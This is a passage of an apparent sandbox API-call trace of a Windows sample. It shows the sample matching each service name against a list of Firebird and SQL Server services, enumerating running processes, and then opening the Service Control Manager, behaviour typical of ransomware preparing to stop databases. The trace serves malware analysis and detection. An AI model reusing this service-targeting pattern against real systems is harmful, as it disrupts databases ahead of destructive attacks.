	[0178.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0178.493] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0178.493] lstrlenW (lpString="NlaSvc") returned 6
	[0178.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0178.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0178.493] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0178.493] lstrlenW (lpString="nsi") returned 3
	[0178.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0178.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0178.493] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0178.493] lstrlenW (lpString="PcaSvc") returned 6
	[0178.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0178.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0178.493] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0178.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0178.493] lstrlenW (lpString="PlugPlay") returned 8
	[0178.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0178.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0178.494] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0178.494] lstrlenW (lpString="Power") returned 5
	[0178.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0178.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0178.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0178.494] lstrlenW (lpString="ProfSvc") returned 7
	[0178.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0178.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0178.494] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0178.494] lstrlenW (lpString="RpcEptMapper") returned 12
	[0178.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0178.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0178.494] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0178.494] lstrlenW (lpString="RpcSs") returned 5
	[0178.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0178.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0178.494] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0178.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0178.494] lstrlenW (lpString="SamSs") returned 5
	[0178.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0178.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0178.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0178.495] lstrlenW (lpString="Schedule") returned 8
	[0178.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0178.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0178.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0178.495] lstrlenW (lpString="SecurityHealthService") returned 21
	[0178.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0178.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0178.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0178.495] lstrlenW (lpString="SENS") returned 4
	[0178.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0178.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0178.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0178.495] lstrlenW (lpString="ShellHWDetection") returned 16
	[0178.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0178.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0178.495] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0178.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0178.495] lstrlenW (lpString="Spooler") returned 7
	[0178.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0178.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0178.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0178.496] lstrlenW (lpString="StateRepository") returned 15
	[0178.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0178.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0178.496] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0178.496] lstrlenW (lpString="SysMain") returned 7
	[0178.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0178.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0178.496] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0178.496] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0178.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0178.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0178.496] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0178.496] lstrlenW (lpString="Themes") returned 6
	[0178.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0178.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0178.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0178.496] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0178.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0178.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0178.496] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0178.496] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0178.498] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0178.541] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x558
	[0178.545] Process32FirstW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0178.546] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0178.546] lstrlenW (lpString="System") returned 6
	[0178.546] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0178.547] lstrlenW (lpString="smss.exe") returned 8
	[0178.547] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0178.547] lstrlenW (lpString="csrss.exe") returned 9
	[0178.547] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0178.548] lstrlenW (lpString="wininit.exe") returned 11
	[0178.548] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0178.548] lstrlenW (lpString="csrss.exe") returned 9
	[0178.548] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0178.549] lstrlenW (lpString="winlogon.exe") returned 12
	[0178.549] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0178.550] lstrlenW (lpString="services.exe") returned 12
	[0178.550] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0178.550] lstrlenW (lpString="lsass.exe") returned 9
	[0178.550] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0178.551] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0178.551] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0178.551] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0178.551] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.552] lstrlenW (lpString="svchost.exe") returned 11
	[0178.552] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.552] lstrlenW (lpString="svchost.exe") returned 11
	[0178.552] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0178.553] lstrlenW (lpString="dwm.exe") returned 7
	[0178.553] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.553] lstrlenW (lpString="svchost.exe") returned 11
	[0178.553] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.553] lstrlenW (lpString="svchost.exe") returned 11
	[0178.554] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.554] lstrlenW (lpString="svchost.exe") returned 11
	[0178.554] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.554] lstrlenW (lpString="svchost.exe") returned 11
	[0178.554] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.555] lstrlenW (lpString="svchost.exe") returned 11
	[0178.555] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.555] lstrlenW (lpString="svchost.exe") returned 11
	[0178.555] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.556] lstrlenW (lpString="svchost.exe") returned 11
	[0178.556] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.556] lstrlenW (lpString="svchost.exe") returned 11
	[0178.556] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.557] lstrlenW (lpString="svchost.exe") returned 11
	[0178.557] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.557] lstrlenW (lpString="svchost.exe") returned 11
	[0178.557] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0178.558] lstrlenW (lpString="spoolsv.exe") returned 11
	[0178.558] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.558] lstrlenW (lpString="svchost.exe") returned 11
	[0178.558] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0178.559] lstrlenW (lpString="audiodg.exe") returned 11
	[0178.559] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0178.560] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0178.560] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0178.560] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0178.560] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0178.561] lstrlenW (lpString="Memory Compression") returned 18
	[0178.561] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0178.561] lstrlenW (lpString="sihost.exe") returned 10
	[0178.561] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.562] lstrlenW (lpString="svchost.exe") returned 11
	[0178.562] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0178.562] lstrlenW (lpString="taskhostw.exe") returned 13
	[0178.562] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0178.563] lstrlenW (lpString="taskhostw.exe") returned 13
	[0178.563] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0178.563] lstrlenW (lpString="explorer.exe") returned 12
	[0178.563] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0178.564] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0178.564] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0178.564] lstrlenW (lpString="SearchUI.exe") returned 12
	[0178.564] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0178.565] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0178.565] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0178.565] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0178.565] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0178.566] lstrlenW (lpString="fvppjh.exe") returned 10
	[0178.566] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0178.566] lstrlenW (lpString="conhost.exe") returned 11
	[0178.566] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0178.567] lstrlenW (lpString="consent.exe") returned 11
	[0178.567] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0178.567] lstrlenW (lpString="dllhost.exe") returned 11
	[0178.567] Process32NextW (in: hSnapshot=0x558, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0178.568] CloseHandle (hObject=0x558) returned 1
	[0178.568] Sleep (dwMilliseconds=0x1f4) 
	[0179.416] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c08b8
